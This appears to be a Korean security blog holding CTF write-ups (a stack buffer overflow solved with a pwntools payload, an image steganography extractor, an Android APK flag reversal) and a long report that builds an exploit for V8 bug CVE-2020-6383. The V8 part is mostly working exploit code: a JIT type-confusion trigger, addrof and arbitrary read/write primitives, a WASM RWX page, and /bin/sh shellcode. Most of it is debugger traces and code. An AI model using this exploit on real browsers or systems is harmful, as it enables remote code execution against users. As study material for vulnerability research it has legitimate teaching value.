BOF101

#include <stdio.h>
//#include <fcntl.h>
//#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void printflag(){ 
    char buf[32];
    FILE* fp = fopen("/flag", "r"); 
    fread(buf, 1, 32, fp);
    fclose(fp);
    printf("%s", buf);
    fflush(stdout);
}

int main() {
    int check=0xdeadbeef;
    char name[140];
    printf("printflag()'s addr: %p\n", &printflag);
    printf("What is your name?\n: ");
    fflush(stdout);
    scanf("%s", name);    
    if (check != 0xdeadbeef){
        printf("[Warning!] BOF detected!\n");
        fflush(stdout);
        exit(0);
    }
    return 0;
}

프로그램이 매우 간단하다. gets로 인한 스택 버퍼오버플로우가 존재한다.
프로그램에서는 check 지역 변수를 0xdeadbeef로 그대로 유지하는지 체크한다. 버퍼오버플로우를 내고 check를 0xdeadbeef로 덮어준 뒤 return address를 주어진 printflag의 주소로 덮으면 된다.

버퍼의 크기는 140, check는 버퍼 다음에 있고, 그 뒤는 saved rbp, return address다. 따라서 아래와 같이 페이로드를 구성하면 된다.

#!/usr/bin/python

from pwn import *

# p = process("./bof101")
p = remote("bof101.sstf.site", 1337)

leak = int(p.recvline()[len("printflag()'s addr: ")+2:-1], 16)
log.success("leak : ", leak)
p.sendlineafter(": ", "A"*140+p32(0xdeadbeef)+p64(0)+p64(leak))

p.interactive()

My Stego

문제에서 ML 소스코드가 주어진다. 해당 소스코드를 보면 숨길 파일을 Sys.argv.(3) 으로 받아서 다음과 같이 파일을 숨김을 확인할 수 있다.

for y = 0 to img#height - 1 do
    for x = 0 to img#width - 1 do
        let color = img#get x y in
        let r = color.r - (color.r land 1) + ((color.g lxor color.b lxor df#fread) land 1) in
        img#set x y {r=r;g=color.g;b=color.b}
    done;
done;

즉, 파일에서 1 비트씩 읽어와 이미지의 Red 채널에 xor로 숨기는 것을 확인할 수 있다. 따라서 아래 코드를 통해 파일을 얻을 수 있었다. (해당 문제가 튜토리얼 문제라서 풀이 코드가 주어졌었는데 해당 코드를 사용하였습니다.)

#!/usr/bin/python

from PIL import Image
import numpy as np

image = Image.open("challenge.bmp")

r, g, b = map(np.array, image.split())

binstr = "0b"
for a, b, c in zip(r, g, b):
  for i in range(0, image.width):
    binstr += str(int(a[i] ^ b[i] ^ c[i]) & 1)

with open("out", "wb") as f:
  f.write(("%x"%eval(binstr)).decode('hex'))

Vault 101

안드로이드 문제로 apk 파일이 주어졌다. https://github.com/skylot/jadx 를 활용하여 앱을 디컴파일 하였다.

MainActivity에서 사용자가 넣은 입력을 받아 플래그인지 아래 루틴에서 체크한다.

@Override // b.c.a.b
public boolean a(String str) {
    try {
        int i = this.f874a + 1;
        this.f874a = i;
        if (i > 3) {
            Class.forName(c.d(";È\u0003p¯…4ŶorÂ\"Ý\u0010|", -500953648)).getMethod(c.d("qó%", 991422357), (Class) Class.forName(c.d("~jxe\u0005reíY:Bè`niaY", 1069257791)).getDeclaredField(c.d("\u0001ò¬\u0010", 1659367412)).get(null)).invoke(null, 0);
            return false;
        } else if (str == null) {
            return false;
        } else {
            byte[] b2 = b.c.a.a.b((byte[]) Class.forName(c.d(".®$\u000fß1Ç\u0003?ڙ6ʶ\"", 1451800421)).getMethod(c.d("7Ì£\u0002rØ0X", -552283301), new Class[0]).invoke(str, new Object[0]));
            Object invoke = Class.forName(c.d("aogrfle¯}qjì.Cbsl35", 823239689)).getMethod(c.d("$OX{Í\u0010", -2050089752), Class.forName(c.d("\u000eé", 937562454)), (Class) Class.forName(c.d(";HCp¯\u0005tå¶ohõ%LRtó", -730536752)).getDeclaredField(c.d("\u0014ø¡\u0014", -1215097919)).get(null)).invoke(null, b2, Class.forName(c.d("pç\u000bfÆ´!\rÌ!BZ?Ë\u000egÌëq", -1393972808)).getDeclaredField(c.d("\u001aä‰\u0017Yï\u0004", 1778992991)).get(null));
            Object newInstance = Class.forName(c.d("~jxe\u0005remY:Xrfb`c", 1356052543)).getConstructor(Class.forName(c.d("[C", 591904395))).newInstance(invoke);
            Object invoke2 = Class.forName(c.d("$Í\u001efƞ4\u0007Ž:EH Í\u000e:ê˜>]ˆ-_", -248372756)).getMethod(c.d("&DÇ\u0003ÿ\u0016xg¬", 64103114), (Class) Class.forName(c.d("/BNt\u001fqç‚`ó1F_pÓ", -401453852)).getDeclaredField(c.d("\u0001ò\u0004D", 195131734)).get(null)).invoke(VaultService.this, Integer.valueOf((int) R.string.magic));
            return ((Boolean) Class.forName(c.d("zhs`-ddmu.Rwb`kf", -754317293)).getMethod(c.d("tø\u001auÅ®", 528601528), Class.forName(c.d("oâœ5…º!OÈzä\u0016oæ‰ ", -1620091986))).invoke(invoke2, newInstance)).booleanValue();
        }
    } catch (Throwable unused) {
        throw new RuntimeException();
    }
}

코드를 보면 메소드 이름이나 클래스 이름들이 obfuscated되어 있음을 확인할 수 있다. 해당 이름들을 확인하기 위해 각각에 대해 c.d를 실행하였다. (Java 환경이 세팅되어 있지 않아 손으로 일일이 실행하여 얻었다)

@Override // b.c.a.b
public boolean a(String str) {
    try {
        int i = this.f874a + 1;
        this.f874a = i;
        if (i > 3) {
            Class.forName(c.d(";È\u0003p¯…4ŶorÂ\"Ý\u0010|", -500953648)).getMethod(c.d("qó%", 991422357), (Class) Class.forName(c.d("~jxe\u0005reíY:Bè`niaY", 1069257791)).getDeclaredField(c.d("\u0001ò¬\u0010", 1659367412)).get(null)).invoke(null, 0);
            return false;
        } else if (str == null) {
            return false;
        } else {
            byte[] b2 = b.c.a.a.b((byte[]) Class.forName(java.lang.String).getMethod(getBytes, new Class[0]).invoke(str, new Object[0]));
            Object invoke = Class.forName(android.util.Base64).getMethod(encode, Class.forName(c.d("\u000eé", 937562454)), (Class) Class.forName(java.lang.Integer).getDeclaredField(TYPE).get(null)).invoke(null, b2, Class.forName(android.util.Base64).getDeclaredField(NO_WRAP).get(null));
            Object newInstance = Class.forName(java.lang.String).getConstructor(Class.forName(c.d("[C", 591904395))).newInstance(invoke);
            Object invoke2 = Class.forName(android.content.Context).getMethod(getString, (Class) Class.forName(java.lang.Integer).getDeclaredField(TYPE).get(null)).invoke(VaultService.this, Integer.valueOf((int) R.string.magic));
            return ((Boolean) Class.forName(java.lang.String).getMethod(equals, Class.forName(java.lang.Object)).invoke(invoke2, newInstance)).booleanValue();
        }
    } catch (Throwable unused) {
        throw new RuntimeException();
    }
}

b.c.a.a.b를 실행한 뒤 해당 결과를 base64로 인코딩하고 값을 R.string.magic과 비교하는 것을 확인할 수 있다. b.c.a.a.b의 루틴은 아래와 같다.

public static byte[] b(byte[] bArr) {
    try {
        Object invoke = Class.forName(javax.crypto.Cipher).getMethod(getInstance, Class.forName(java.lang.String)).invoke(null, AES/CBC/PKCS5Padding);
        Object newInstance = Class.forName(javax.crypto.spec.SecretKeySpec).getConstructor(Class.forName(c.d("NI", -1666818412)), Class.forName(java.lang.String)).newInstance(a.class.getDeclaredFields()[0].get(null), AES);
        Object newInstance2 = Class.forName(javax.crypto.spec.IvParameterSpec).getConstructor(Class.forName(c.d("\u001aã", -1333368352))).newInstance(a.class.getDeclaredFields()[0].get(null));
        Object obj = Class.forName(javax.crypto.Cipher).getDeclaredField(ENCRYPT_MODE).get(null);
        Class.forName(javax.crypto.Cipher).getMethod(init, (Class) Class.forName(java.lang.Integer).getDeclaredField(TYPE).get(null), Class.forName(java.security.Key), Class.forName(java.security.spec.AlgorithmParameterSpec)).invoke(invoke, obj, newInstance, newInstance2);
        return (byte[]) Class.forName(javax.crypto.Cipher).getMethod(doFinal, Class.forName(c.d("_Á", -251609689))).invoke(invoke, bArr);
    } catch (Throwable unused) {
        throw new RuntimeException();
    }
}

위 코드를 보게되면a.class.getDeclaredFields()[0]를 받아와 AES의 key와 IV로 사용하는 것을 확인할 수 있다. 해당 값은 VaultService.onCreate에서 세팅하는데, R.array.kind_of_magic에서 각 원소들을 Base64 디코딩을 한 뒤 첫번째 글자들을 받아와 이를 a.class.getDeclaredFields()[0]에 세팅한다. 해당 값들은 아래와 같다.

PARK
KOREAN
nut
JACK
3
BESTBUY
JACK
queen
yelp
music
GOLF
visa
KOREAN
zip
GOLF
2

첫번째 글자들을 연결한 PKnJ3BJqymGvKzG2가 IV와 key에 해당되게 된다. 얻은 IV와 key를 이용하여 AES decrypt를 진행하면 플래그를 획득할 수 있다.

enc = magic
iv = "PKnJ3BJqymGvKzG2"
cipher = AES.new(iv, AES.MODE_CBC, iv )
print cipher.decrypt( magic )

SCTF{53CUr17Y_7Hr0U6H_085CUr17Y_15_N07_3N0U6H}

'보안 > CTF Writeups' 카테고리의 다른 글

Google CTF 2018 Proprietary Format write-up  (0) 2021.01.19
HITCON 2019 Quals LazyHouse Writeup  (0) 2021.01.19
SSTF Hacker's Playground Write-up  (0) 2021.01.19

소개

이번 보고서에서는 CVE-2020-6383에 대한 익스플로잇 코드를 작성하는 것을 목표로 한다. 해당 취약점은 git 버전 2020년 2월 12일 커밋인 73f88b5f69077ef33169361f884f31872a6d56ac 에서 발생하였다. Turbofan 관련 취약점으로 type confusion으로 OOB를 일으킬 수 있는데, 이를 이용하여 익스플로잇을 작성하면서 V8을 익스하는 방법에 대해 배워볼 것이다.

해당 보고서는 (1) Root Cause Analysis, (2) Exploit 작성으로 구성되어 있다.

본문

환경 세팅

V8 익스를 테스트하기 위해서는 우선 환경 세팅부터 해야 한다. 본인이 주로 참고용으로 사용하는 블로그를 참조하여 환경을 세팅하였다. 환경 세팅을 하는 방법은 다음과 같다.

  1. depot_tools를 설치한다. 본인은 이전에 V8에 관한 연구를 진행한 적이 있어 설치가 되어 있었다.
  2. fetch v8을 실행하여 V8 소스코드를 받는다. git으로 받을 경우 빌드 툴이 받아지지 않는 등 여러 문제가 생긴다.
  3. V8 디렉토리에 들어가서 ./build/install-build-deps.sh를 실행한다. 빌드를 위한 툴들을 설치하는 과정인데, 이 역시 본인은 설치가 되어 있었다.
  4. git reset --hard 73f88b5f69077ef33169361f884f31872a6d56ac을 실행하여 버전을 맞춘다.
  5. gclient sync를 실행하여 빌드를 위한 툴들의 버전을 맞춘다.
  6. ./tools/dev/v8gen.py x64.release 또는 ./tools/dev/v8gen.py x64.debug를 실행하여 release 버전 또는 debug버전의 세팅을 만든다.
  7. ninja -C ./out.gn/x64.releaseninja -C ./out.gn/x64.debug를 수행한다. (앞과 동일하게 한다)

위의 과정들을 거치면 v8/out.gn 폴더에 빌드된 파일들이 위치해 있는 것을 확인할 수 있다.

Root Cause Analysis

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6383
https://bugs.chromium.org/p/chromium/issues/detail?id=1051017&q=cve-2020-6383&can=1
https://core-research-team.github.io/2020-06-01/v8-1-day-CVE-2020-6383

Typer::Visitor::TypeInductionVariablePhi(Node* node)에서 발생하는 취약점이다. Phi 함수의 경우 루프문에서 카운트 역할을 하는 변수들을 (ex - for문 안의 i) 하나로 합쳐주는 함수인데, 자세한 내용은 컴파일러의 SSA를 공부하면 된다. (여기서는 자세히 다루지 않겠다) TypeInductionVariablePhi의 경우 Turbofan의 Typer 단계에서 phi 함수에 대한 type induction을 (변수의 타입 유도) 수행하고, Type::Range으로 loop variable에 대한 최소값과 최대값을 계산하여 반환한다. (예를들어 for문이 있을 때 초기값, bound, 증가값을 통해 최소와 최대를 계산한다)

문제가 되는 코드를 살펴보면 아래와 같다.

// src/compiler/typer.cc:857

  const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
                                  increment_type.Is(typer_->cache_->kInteger);
  bool maybe_nan = false;
  // The addition or subtraction could still produce a NaN, if the integer
  // ranges touch infinity.
  if (both_types_integer) {
    Type resultant_type =
        (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
            ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
            : typer_->operation_typer()->NumberSubtract(initial_type,
                                                        increment_type);
    maybe_nan = resultant_type.Maybe(Type::NaN());
  }

  // We only handle integer induction variables (otherwise ranges
  // do not apply and we cannot do anything).
  if (!both_types_integer || maybe_nan) {
    // Fallback to normal phi typing, but ensure monotonicity.
    // (Unfortunately, without baking in the previous type, monotonicity might
    // be violated because we might not yet have retyped the incrementing
    // operation even though the increment's type might been already reflected
    // in the induction variable phi.)
    Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node)
                                              : Type::None();
    for (int i = 0; i < arity; ++i) {
      type = Type::Union(type, Operand(node, i), zone());
    }
    return type;
  }

위에서 increment와 loop variable을 모두 kInteger 타입으로 주면 both_type_integer가 true가 된다. 이럴 경우 infinity에 대한 addition과 subtraction (예를 들어 -inf + inf = NaN)이 존재할 경우 maybe_nan을 true로 만들어 NaN이 발생할 수 있음을 체크한다.

  if (increment_min >= 0) {
    [...]
  } else if (increment_max <= 0) {
    [...]
  } else {
    // Shortcut: If the increment can be both positive and negative,
    // the variable can go arbitrarily far, so just return integer.
    return typer_->cache_->kInteger;
  }
  [...]

위를 보면 increment_min < 0 이고 increment_max > 0 이면 kInteger 타입을 반환하는 것을 확인할 수 있다. 즉, increment가 동시에 음수이며 양수가 될 수 있으면 kInteger 타입을 반환한다.

위 코드의 문제는 increment가 루프문 안에서 값이 변할 수 있다는 점이다. maybe_nan 계산을 위에서 한번밖에 수행하지 않기 때문에 increment를 중간에 변형하면 타입은 kInteger로, 실제 값은 NaN으로 처리할 수 있다. 아래 PoC를 살펴보자.

https://bugs.chromium.org/p/chromium/issues/detail?id=1051017&q=cve-2020-6383&can=1

function trigger() {
  var x = -Infinity;
  var k = 0;
  for (var i = 0; i < 1; i += x) {
      if (i == -Infinity) {
        x = +Infinity;
      }

      if (++k > 10) {
        break;
      }
  }
                                  // JIT                                                / no-JIT
  var value = Math.max(i, 1024);  // [1024, inf]    (actual value : NaN (0))            / NaN
  value = -value;                 // [-inf, -1024]  (actual value : NaN (0))            / NaN
  value = Math.max(value, -1025); // [-1025, -1024] (actual value : NaN (0))            / NaN
  value = -value;                 // [1024, 1025]   (actual value : NaN (0))            / NaN
  value -= 1022;                  // [2, 3]         (actual value : -1022 (0x7ffffc02)) / NaN
  value >>= 1; // *** 3 ***       // 1              (actual value : 0x3ffffe01)         / NaN >> 1 = 0
  value += 10;                    // 1 + 10 = 11    (acutal value : 0x3ffffe0b)         / 10

  var array = Array(value);
  array[0] = 1.1;
  return [array, {}];
};

for (let i = 0; i < 20000; ++i) {
  trigger();
}

console.log(trigger()[0][11]);

위에서 표시한대로 JIT이 적용된 상황과 JIT이 적용되지 않은 상황의 value 값이 달라지게 된다. 이것 때문에 trigger()[0][11] 을 하게되면 oob read가 되게 된다. 실제로 안쪽에 DebugPrint로 array를 찍게되면 길이가 10에서 어느 순간 1073741323으로 변하는 것을 확인할 수 있다.

$ ./x64.release/d8 --trace-turbo exploit.js
Concurrent recompilation has been disabled for tracing.
---------------------------------------------------
Begin compiling method trigger using TurboFan
---------------------------------------------------
Finished compiling method trigger using TurboFan
---------------------------------------------------
Begin compiling method  using TurboFan
---------------------------------------------------
Finished compiling method  using TurboFan
4.738595637177416e-270

Turbolizer에서 json 파일이 알 수 없는 unexpected token 문제로 열리지 않아 그래프를 확인하지 못했다. 하지만 release 모드에서 성공적으로 oob read가 되는 것을 확인할 수 있다. (debug 모드에서는 DCHECK로 인해 에러가 난다)

Exploit

익스플로잇을 작성하는 것에는 5단계가 있다. (거의 공식으로 취급된다)

  1. 유틸리티 함수들을 (integer <-> float, hex dump) 작성한다.
  2. Primitive들을 작성한다. (Arbitrary read, arbitrary write, address-of, 필요하다면 fakeobj)
  3. WASM module을 통해 RWX 페이지를 할당받는다.
  4. RWX 페이지에 arbitrary write를 통해 쉘코드를 작성한다.
  5. WASM instance를 실행하여 쉘을 띄운다.

위의 과정들을 차근히 해보자. 주로 참조한 소스들은 본인이 예전에 연구로 작성했던 익스플로잇 코드와 oob-v8 faith 블로그다.

https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
https://github.com/candymate/csed499I-01

1. 유틸리티 함수들 작성

처음으로 해야할 것은 유틸리티 함수들을 작성하는 것이다. 본인이 잘 사용하는 유틸리티 함수들은 정수-실수 변환 함수 2개와 hex로 출력하는 함수 하나이다. 이들은 단순 코딩이어서 다시 작성하는 것이 의미 없다고 여겨져 faith 블로그에서 가져왔다.

// https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
  f64_buf[0] = val;
  return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}

function itof(val) { // typeof(val) = BigInt
  u64_buf[0] = Number(val & 0xffffffffn);
  u64_buf[1] = Number(val >> 32n);
  return f64_buf[0];
}

function getHexString(val) {
  return "0x" + ftoi(val).toString(16);
}

2. Primitive들 작성

2-1. PoC 분석

이제 PoC도 있으니 해당 PoC를 잘 활용하여 primitive들을 작성한다. 우선 PoC가 어떤 부분을 읽어서 leak이 되는지 확인하였다. PoC 함수 리턴 값을 DebugPrint로 찍어 확인하였다.

var m_obj = trigger();
%DebugPrint(m_obj);
%DebugPrint(m_obj[0]);
%DebugPrint(m_obj[1]);
m_obj[0][10] = 1.1;
console.log(getHexString(m_obj[0][11]));
0x1de2082c8649 <JSArray[2]>
0x1de2082c85ad <JSArray[1073741323]>
0x1de2082c861d <Object map = 0x1de2082402d9>
0x80406e9082402d9

두번째 출력된 배열의 주소를 gdb로 찍어보면 아래와 같다. (Tagged Pointer로 인해 주소에 -1을 해주었고, Pointer Compression으로 인해 wx 모드로 찍었다. Pointer Compression 에 대해 잘 모를 경우 다음 링크의 Variant 4를 보면 된다)

gdb-peda$ x/8wx 0x1de2082c85ad-1
0x1de2082c85ac: 0x082418b9      0x080406e9      0x082c85bd      0x7ffffc16
0x1de2082c85bc: 0x08040a15      0x00000016      0x9999999a      0x3ff19999

+8지점이 (0x082c85bd) elements에 해당하므로 해당 주소를 볼 필요가 있다. 아래 자료 참고.

해당 주소를 확인하면 array의 element가 들어있는 것을 확인할 수 있다. 주소에 isolate root에 해당하는 0x1de2를 붙여주었다.

gdb-peda$ x/32wx 0x1de2082c85bd-1
0x1de2082c85bc: 0x08040a15      0x00000016      0x9999999a      0x3ff19999
0x1de2082c85cc: 0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x1de2082c85dc: 0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x1de2082c85ec: 0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x1de2082c85fc: 0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x1de2082c860c: 0xfff7ffff      0xfff7ffff      0x9999999a      0x3ff19999
0x1de2082c861c: 0x082402d9      0x080406e9      0x080406e9      0x0804021d
0x1de2082c862c: 0x0804021d      0x0804021d      0x0804021d      0x080404b1

위를 보면 첫번째는 map (shape)이며, 두번째는 length다. SMI 표기로 인해 2배로 표시되는 것을 감안하면 길이는 11임을 확인할 수 있다. (element의 길이는 11이지만 JSArray의 길이는 매우 큰 값이다) 3번째부터는 element들이 들어가 있는데, 1.1에 해당하는 값이 8 바이트에 걸쳐 들어가 있다.

trigger()[0][11] 을 접근하게 되면 0x1de2082c861c 주소를 참조하게 된다. 이는 trigger 함수 리턴 값의 1번 인덱스 인스턴스의 map에 (shape) 해당한다. 이를 적절히 수정하면 type confusion을 낼 수도 있다.

2-2. Arbitrary Read / Write

Pointer Compression에서 isolate root를 구할 수 있는 명확한 방법은 존재하지 않는다. (대부분의 경우 r13 레지스터에 저장되어 메모리에 위치하고 있지 않기 때문이다) 또한, 압축된 포인터를 조작하여 얻을 수 있는 arbitrary read와 arbitrary write는 4바이트 주소 내로 한정되게 된다. 하지만 ArrayBuffer의 backing store pointer를 활용하면 메모리 전체 영역에 대한 arbitrary read / write를 얻을 수 있다. (Backing store pointer는 glibc heap을 가리키고 있는데, isolate root로 얻을 수 없는 주소여서 8바이트 전체 포인터가 저장되어 있다)

따라서 ArrayBuffer를 활용할 것이다. 다음과 같이 구성하면 ArrayBuffer의 backing store pointer를 얻을 수 있다.

var m_obj = trigger();
%DebugPrint(m_obj);
%DebugPrint(m_obj[0]);
%DebugPrint(m_obj[1]);
m_obj[1] = new ArrayBuffer(8);
%DebugPrint(m_obj[1]);
console.log(getHexString(m_obj[0][21])); // backing store pointer
0x03bb082c8649 <JSArray[2]>
0x03bb082c85ad <JSArray[1073741323]>
0x03bb082c861d <Object map = 0x3bb082402d9>
0x03bb082c8659 <ArrayBuffer map = 0x3bb08241189>
0x558ab4a889e0
gdb-peda$ x/52wx 0x03bb082c85ad-1
0x3bb082c85ac:  0x082418b9      0x080406e9      0x082c85bd      0x7ffffc16
0x3bb082c85bc:  0x08040a15      0x00000016      0x9999999a      0x3ff19999
0x3bb082c85cc:  0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x3bb082c85dc:  0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x3bb082c85ec:  0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x3bb082c85fc:  0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x3bb082c860c:  0xfff7ffff      0xfff7ffff      0x9999999a      0x3ff19999
0x3bb082c861c:  0x082402d9      0x080406e9      0x080406e9      0x0804021d
0x3bb082c862c:  0x0804021d      0x0804021d      0x0804021d      0x080404b1
0x3bb082c863c:  0x00000004      0x082c85ad      0x082c8659      0x082418e1
0x3bb082c864c:  0x080406e9      0x082c8639      0x00000004      0x08241189
0x3bb082c865c:  0x080406e9      0x080406e9      0x00000008      0x00000000
0x3bb082c866c:  0xb4a889e0      0x0000558a      0x00000002      0x00000000

0x3bb082c866c에 backing store pointer가 위치한다. 이를 m_obj[0][21] 로 접근할 수 있다. 해당 값을 변조하여 전체 메모리 영역에 대한 arbitrary read / write를 수행할 수 있다. 이를 이용하여 primitive 들을 작성하였다.

function arb_read(addr) {
  var m_obj = trigger();
  m_obj[1] = new ArrayBuffer(8);
  m_obj[0][21] = itof(addr); // backing store pointer
  const dataView = new DataView(m_obj[1]);
  return ftoi(dataView.getFloat64(0, true));
}

function arb_write(addr, value) {
  var m_obj = trigger();
  m_obj[1] = new ArrayBuffer(8);
  m_obj[0][21] = itof(addr); // backing store pointer
  const dataView = new DataView(m_obj[1]);
  dataView.setFloat64(0, itof(value), true);
}
2-3. Address-of

Address of primitive의 경우 isolate root를 구할 명확한 방법이 없어 전체 포인터를 구할 수 없지만 하위 4바이트 주소를 얻을 수 있다. (얻은 주소는 오프셋 계산에 쓰일 수 있다) Primitive를 아래와 같이 작성하였다.

function addrof(obj) {
  var m_obj = trigger();
  m_obj[1] = obj;
  return ftoi(m_obj[0][16]) & 0xffffffffn;
}

[array, {}] 의 1번 인덱스에 인스턴스를 넣고 OOB read를 통해 값을 float로 읽어들였다.

3. RWX Page 할당

WASM 모듈을 임의의 코드로 생성만 해주면 RWX 페이지가 생겨난다. WasmFiddle을 활용하여 WASM 코드를 획득하였다.

int main() { 
  return 42;
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
const wasm_mod = new WebAssembly.Module(wasm_code);

해당 코드들을 넣고 gdb로 메모리 맵을 찍어보면 성공적으로 RWX 페이지가 생겨남을 확인할 수 있다.

gdb-peda$ vmmap
Start              End                Perm      Name
0x00001864e44f6000 0x00001864e44f7000 rwxp      mapped
0x00002e0700000000 0x00002e070000c000 rw-p      mapped
[...]

4. RWX 페이지에 쉘코드 작성

4-1. RWX 페이지 주소 구하기

RWX 페이지 주소의 경우 WASM 인스턴스의 주소에서 +0x68 위치에 놓여있다. 이를 읽어내면 된다. OOB read로 읽으려고 시도했으나 WASM 인스턴스의 주소가 array 주소보다 낮아 OOB read를 할 수 없는 문제가 생겼다.

for (let i = 0; i < 30000; ++i) {
  trigger();
}

[...]

var w_obj = trigger(); // to read RWX page address
w_obj[1] = wasm_instance;
%DebugPrint(w_obj);
%DebugPrint(w_obj[0]);
%DebugPrint(w_obj[1]);
%DebugPrint(wasm_mod);
const f = wasm_instance.exports.main;

console.log(getHexString(itof(addrof(wasm_instance))));
0x3a780830d4a9 <JSArray[2]>
0x3a780830d40d <JSArray[1073741323]>
0x3a7808211519 <Instance map = 0x3a7808244951>
0x3a780830d1dd <Module map = 0x3a78082447e9>
0x8211519

위에서 볼 수 있듯이 WASM 인스턴스 주소가 array보다 낮음을 확인할 수 있다. 따라서 trigger를 더 많이 호출하여 array 주소를 낮추었다.

while (true) {
  w_obj = trigger(); // to read RWX page address

  var offset = (addrof(wasm_instance) - addrof(w_obj[0]));
  if (offset > 0) break;
  for (let i = 0; i < 10000; ++i) {
    trigger();
  }
}

console.log("[+] Array address : " + getHexString(itof(addrof(w_obj[0]))));
console.log("[+] WASM Instance address : " + getHexString(itof(addrof(wasm_instance))));

offset = offset - 0x18n + 0x68n;
var rwx_page_addr;
if (offset % 8n == 4n) {
  const piece1 = ftoi(w_obj[0][offset / 8n]);
  const piece2 = ftoi(w_obj[0][offset / 8n + 1n]);

  rwx_page_addr = ((piece2 & 0xffffffffn) << 32n) | (piece1 >> 32n);
}
else {
  rwx_page_addr = ftoi(w_obj[0][offset / 8n])
}
console.log("[+] RWX page addr : " + getHexString(itof(rwx_page_addr)));
[+] Array address : 0x808f2d5
[+] WASM Instance address : 0x82115ad
[+] RWX page addr : 0x4215cfba000
4-2. 쉘코드 복사

주소를 얻었으니 이제 쉘코드를 Arbitrary write를 이용하여 복사하면 된다. 쉘코드는 다음 페이지에서 가져왔다.

const shellcode = [0x91969dd1bb48c031n, 0x53dbf748ff978cd0n, 0xb05e545752995f54n, 0x9090909090050f3bn];
for (let i = 0; i < shellcode.length; i++) {
  arb_write(rwx_page_addr+8n*BigInt(i), shellcode[i]);
}
gdb-peda$ vmmap
Start              End                Perm      Name
0x0000065c7a663000 0x0000065c7a664000 rwxp      mapped
[...]
gdb-peda$ x/32i 0x65c7a663000
   0x65c7a663000:       xor    eax,eax
   0x65c7a663002:       movabs rbx,0xff978cd091969dd1
   0x65c7a66300c:       neg    rbx
   0x65c7a66300f:       push   rbx
   0x65c7a663010:       push   rsp
   0x65c7a663011:       pop    rdi
   0x65c7a663012:       cdq    
   0x65c7a663013:       push   rdx
   0x65c7a663014:       push   rdi
   0x65c7a663015:       push   rsp
   0x65c7a663016:       pop    rsi
   0x65c7a663017:       mov    al,0x3b
   0x65c7a663019:       syscall
   [...]

5. 쉘코드 실행

주어진 인스턴스를 실행하면 덮어쓴 쉘코드가 실행된다.

const f = wasm_instance.exports.main;
f();
$ x64.release/d8 exploit.js 
[+] Array address : 0x8087161
[+] WASM Instance address : 0x82116a5
[+] RWX page addr : 0x36af23b65000
$ ls
exploit.js  peda-session-d8.txt  turbo-0x176208210050-1.json  turbo-trigger-0.json  turbo.cfg  x64.debug  x64.release
$ 

성공적으로 쉘이 실행되는 것을 확인할 수 있다.

전체 코드

// https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
  f64_buf[0] = val;
  return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}

function itof(val) { // typeof(val) = BigInt
  u64_buf[0] = Number(val & 0xffffffffn);
  u64_buf[1] = Number(val >> 32n);
  return f64_buf[0];
}

function getHexString(val) {
  return "0x" + ftoi(val).toString(16);
}

// https://bugs.chromium.org/p/chromium/issues/detail?id=1051017&q=cve-2020-6383&can=1
// PoC code
function trigger() {
  var x = -Infinity;
  var k = 0;
  for (var i = 0; i < 1; i += x) {
      if (i == -Infinity) {
        x = +Infinity;
      }

      if (++k > 10) {
        break;
      }
  }
                                  // JIT                                                / no-JIT
  var value = Math.max(i, 1024);  // [1024, inf]    (actual value : NaN (0))            / NaN
  value = -value;                 // [-inf, -1024]  (actual value : NaN (0))            / NaN
  value = Math.max(value, -1025); // [-1025, -1024] (actual value : NaN (0))            / NaN
  value = -value;                 // [1024, 1025]   (actual value : NaN (0))            / NaN
  value -= 1022;                  // [2, 3]         (actual value : -1022 (0x7ffffc02)) / NaN
  value >>= 1; // *** 3 ***       // 1              (actual value : 0x3ffffe01)         / NaN >> 1 = 0
  value += 10;                    // 1 + 10 = 11    (acutal value : 0x3ffffe0b)         / 10

  var array = Array(value);
  array[0] = 1.1;
  return [array, {}];
};

for (let i = 0; i < 40000; ++i) {
  trigger();
}

function addrof(obj) {
  var m_obj = trigger();
  m_obj[1] = obj;
  return ftoi(m_obj[0][16]) & 0xffffffffn;
}

function arb_read(addr) {
  var m_obj = trigger();
  m_obj[1] = new ArrayBuffer(8);
  m_obj[0][21] = itof(addr); // backing store pointer
  const dataView = new DataView(m_obj[1]);
  return ftoi(dataView.getFloat64(0, true));
}

function arb_write(addr, value) {
  var m_obj = trigger();
  m_obj[1] = new ArrayBuffer(8);
  m_obj[0][21] = itof(addr); // backing store pointer
  const dataView = new DataView(m_obj[1]);
  dataView.setFloat64(0, itof(value), true);
}

// https://wasdk.github.io/WasmFiddle/
